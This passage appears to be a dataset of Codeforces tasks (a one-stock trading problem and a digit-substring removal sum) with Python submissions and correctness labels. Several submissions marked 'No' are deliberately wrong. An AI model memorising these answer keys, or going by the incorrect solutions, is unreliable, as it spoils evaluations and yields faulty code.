the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,975
10
107,950
Tags: greedy, implementation Correct Solution: ``` n,m,r = map(int,input().split()) s=list(map(int,input().split())) b=list(map(int,input().split())) min_s=min(s) max_b=max(b) if min_s<max_b: print((int(r/min_s)*max_b)+(r%min_s)) else: print(r) ```
output
1
53,975
10
107,951
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,976
10
107,952
Tags: greedy, implementation Correct Solution: ``` m = list(map(int, input().split())) b=list(map(int, input().split())) s=list(map(int, input().split())) money = m[-1] min_price = min(b) max_price = max(s) money_left = 0 shares = 0 if money >= min_price: for i in range(money) : if money % min_price == 0: shares = int(money/min_price) break else: money -= 1 money_left +=1 profit = ((shares*max_price)+ money_left) if profit > m[-1]: print(profit) else: print(m[-1]) ```
output
1
53,976
10
107,953
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` n, m, r = map(int, input().split()) S = list(map(int, input().split())) B = list(map(int, input().split())) x = min(S) y = max(B) cnt = r % x act = r // x cnt += act * y print(max(r, cnt)) ```
instruction
0
53,977
10
107,954
Yes
output
1
53,977
10
107,955
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` n,m,r = list(map(int,input().split())) s = list(map(int,input().split())) b = list(map(int,input().split())) s_min = min(s) b_max = max(b) if s_min>=b_max: print(r) else: number = r//s_min cha = r - number*s_min out = number*b_max+cha print(out) ```
instruction
0
53,978
10
107,956
Yes
output
1
53,978
10
107,957
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` n, m, r = map(int,input().split()) s = map(int, input().split()) b = map(int, input().split()) ms = min(s) mb = max(b) if ms < mb : shares=int(r/ms) left = r%ms res=shares*mb r = res+left print(r) ```
instruction
0
53,979
10
107,958
Yes
output
1
53,979
10
107,959
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` #JMD #Nagendra Jha-4096 import sys import math #import fractions #import numpy ###File Operations### fileoperation=0 if(fileoperation): orig_stdout = sys.stdout orig_stdin = sys.stdin inputfile = open('W:/Competitive Programming/input.txt', 'r') outputfile = open('W:/Competitive Programming/output.txt', 'w') sys.stdin = inputfile sys.stdout = outputfile ###Defines...### mod=1000000007 ###FUF's...### def nospace(l): ans=''.join(str(i) for i in l) return ans ##### Main #### t=1 for tt in range(t): #n=int(input()) n,m,r= map(int, sys.stdin.readline().split(' ')) a=list(map(int,sys.stdin.readline().split(' '))) b=list(map(int,sys.stdin.readline().split(' '))) rem=r%min(a) print(max(r,(max(b)*(r//min(a)))+rem)) #####File Operations##### if(fileoperation): sys.stdout = orig_stdout sys.stdin = orig_stdin inputfile.close() outputfile.close() ```
instruction
0
53,980
10
107,960
Yes
output
1
53,980
10
107,961
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` n, m, r = map(int,input().split()) a = list(map(int, input().split())) b = list(map(int, input().split())) a.sort() b.sort() if a[0] < b[m-1]: if a[0] > r: rr = r*a[0] else: rr = r//a[0] rr = rr * b[m-1] print(rr+1) else: print(r) ```
instruction
0
53,981
10
107,962
No
output
1
53,981
10
107,963
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` n,m,k = input().split(' ') n = int(n) m = int(m) k = int(k) a = list(map(int,input().split(' '))) b = list(map(int,input().split(' '))) aa = min(a) bb = max(b) cnt = k // aa r = k % aa print(cnt,bb) buy = cnt * bb if buy > k-r: print((bb * cnt) + r) else: print(0) ```
instruction
0
53,982
10
107,964
No
output
1
53,982
10
107,965
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` n, m, r = map(int, input().split()) count = 0 sp = sorted(list(map(int, input().split()))) x = 0 r1 = r sp.append(1) while r != 0 and r // sp[x] != 0: d = r // sp[x] count += d r -= sp[x] * d x += 1 w = max(list(map(int, input().split()))) print(max(r1, w * count + r)) ```
instruction
0
53,983
10
107,966
No
output
1
53,983
10
107,967
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action. Submitted Solution: ``` def main(): s = [int(x) for x in input().split()] r = s[2] buy = min([int(x) for x in input().split()]) sell = max([int(x) for x in input().split()]) morning = r // buy evening = morning * sell if evening >= r: ans = evening + r % buy print(ans) else: print(r) main() ```
instruction
0
53,984
10
107,968
No
output
1
53,984
10
107,969
Provide tags and a correct Python 3 solution for this coding contest problem. Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price. For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121. It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0. Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move. Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7. Input The first and only line contains a single integer n (1 ≤ n < 10^{10^5}). Output In the only line print the required sum modulo 10^9 + 7. Examples Input 107 Output 42 Input 100500100500 Output 428101984 Note Consider the first example. Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42.
instruction
0
54,132
10
108,264
Tags: combinatorics, dp, math Correct Solution: ``` import sys input = lambda: sys.stdin.readline().rstrip() #input = sys.stdin.buffer.readline m=10**9+7 a=input() n=len(a) p=0; ans=0 for i in range(n-1,-1,-1): c=pow(10,n-i-1,m) val=c*int(a[i])*i*(i+1)//2 val%=m if i!=n-1: p=(p+pow(10,n-2-i,m)*(n-i-1))%m val+=p*int(a[i]) val%=m ans=(ans+val)%m print(ans) ```
output
1
54,132
10
108,265
Provide tags and a correct Python 3 solution for this coding contest problem. Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price. For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121. It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0. Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move. Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7. Input The first and only line contains a single integer n (1 ≤ n < 10^{10^5}). Output In the only line print the required sum modulo 10^9 + 7. Examples Input 107 Output 42 Input 100500100500 Output 428101984 Note Consider the first example. Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42.
instruction
0
54,133
10
108,266
Tags: combinatorics, dp, math Correct Solution: ``` n=list(input()) s=0 n=n[::-1] t=len(n) sum=0 s=1 p=0 b=0 for i in range(t): a=int(n[i]) if a!=0: if i==1: p=1 sum=(sum+(a*s*(t-i-1)*(t-i)//2) + a*(b+(i)*p))%1000000007 b=(b+(i)*p)%1000000007 p=(p*10)%1000000007 s = (s * 10) % 1000000007 else: if i==1: p=1 b=(b+i*p)%1000000007 p=(p*10)%1000000007 s=(s*10)%1000000007 print(sum) ```
output
1
54,133
10
108,267
Provide tags and a correct Python 3 solution for this coding contest problem. Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price. For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121. It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0. Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move. Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7. Input The first and only line contains a single integer n (1 ≤ n < 10^{10^5}). Output In the only line print the required sum modulo 10^9 + 7. Examples Input 107 Output 42 Input 100500100500 Output 428101984 Note Consider the first example. Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42.
instruction
0
54,134
10
108,268
Tags: combinatorics, dp, math Correct Solution: ``` from sys import stdin class Input: def __init__(self): self.it = iter(stdin.readlines()) def line(self): return next(self.it).strip() def array(self, sep = ' ', cast = int): return list(map(cast, self.line().split(sep = sep))) def testcases(unknown = False): inpt = Input() def testcases_decorator(func): cases, = [0] if unknown else inpt.array() while unknown or cases > 0: try: func(inpt) cases -= 1 except StopIteration: break return testcases_decorator ''' @thnkndblv ''' MOD = 1000000007 N = 100005 ten = [1] for i in range(1, N): ten.append(ten[-1] * 10) ten[-1] %= MOD s = [1] for i in range(1, N): s.append(ten[i] * (i + 1)) s[-1] %= MOD for i in range(1, N): s[i] += s[i - 1] s[i] %= MOD @testcases(unknown=True) def solve(inpt): ''' ''' n = inpt.line() m = len(n) ans = 0 for i in range(m): d = int(n[i]) rg = m - 1 - i if rg: ans += d * s[rg - 1] k = i * (i + 1) // 2 ans += (d * k * ten[m - 1 - i]) % MOD ans %= MOD print(ans) ```
output
1
54,134
10
108,269
Provide tags and a correct Python 3 solution for this coding contest problem. Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price. For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121. It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0. Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move. Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7. Input The first and only line contains a single integer n (1 ≤ n < 10^{10^5}). Output In the only line print the required sum modulo 10^9 + 7. Examples Input 107 Output 42 Input 100500100500 Output 428101984 Note Consider the first example. Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42.
instruction
0
54,135
10
108,270
Tags: combinatorics, dp, math Correct Solution: ``` import sys import math import collections import heapq import decimal input=sys.stdin.readline mod=1000000007 s=input() n=len(s)-1 s1=0 p=1 s2=0 for i in range(n-1,-1,-1): s1=(s1+(int(s[i])*(((i*(i+1))//2)%mod*p%mod+s2)%mod))%mod s2=(s2+(p*(n-i))%mod)%mod p=(p*10)%mod print(s1) ```
output
1
54,135
10
108,271
Provide tags and a correct Python 3 solution for this coding contest problem. Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price. For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121. It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0. Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move. Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7. Input The first and only line contains a single integer n (1 ≤ n < 10^{10^5}). Output In the only line print the required sum modulo 10^9 + 7. Examples Input 107 Output 42 Input 100500100500 Output 428101984 Note Consider the first example. Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42.
instruction
0
54,136
10
108,272
Tags: combinatorics, dp, math Correct Solution: ``` from math import ceil from collections import defaultdict def solve(): # n,m = map(int,input().split()) # ans = 0 # ans1 = 0 # l = [] # z = [] # for i in range(n): # ka = list(map(int,input().split())) # l.append(ka) # k = [0]*(m) # z.append(k) # # for i in range(n): # for j in range(m): # z[i][j] = l[i][j] # for i in range(n): # c = 0 # for j in range(m-1,ceil(m/2)-1,-1): # # # ans+=abs(l[i][c]-l[i][j]) # # l[i][j] = l[i][c] # c+=1 # print(ans) # for j in range(m): # c = 0 # for i in range(n-1,ceil(n/2)-1,-1): # # # ans+=abs(l[i][j]-l[c][j]) # l[i][j] = l[c][j] # # c+=1 # # l = z.copy() # # # for j in range(m): # c = 0 # for i in range(n-1,ceil(n/2)-1,-1): # # # ans1+=abs(l[i][j]-l[c][j]) # l[i][j] = l[c][j] # # c+=1 # # for i in range(n): # c = 0 # for j in range(m-1,ceil(m/2)-1,-1): # # # ans1+=abs(l[i][c]-l[i][j]) # # # c+=1 # for i in l: # print(*i) # print(min(ans1,ans)) s = input() n = len(s) place = 0 dp = [0]*(n+1) dp[1] = 0 sum = int(s[0]) mod = 10**9 + 7 ha = sum # v = -1 for i in range(2,n+1): z = int(s[i-1]) dp[i] = dp[i-1]*10+((i-1)*i*z)//2 + ha dp[i]%=mod sum = sum*10 + z sum%=mod ha+=sum ha%=mod # print(dp,sum) print(dp[n]%mod) # t = int(input()) # for _ in range(t): solve() ```
output
1
54,136
10
108,273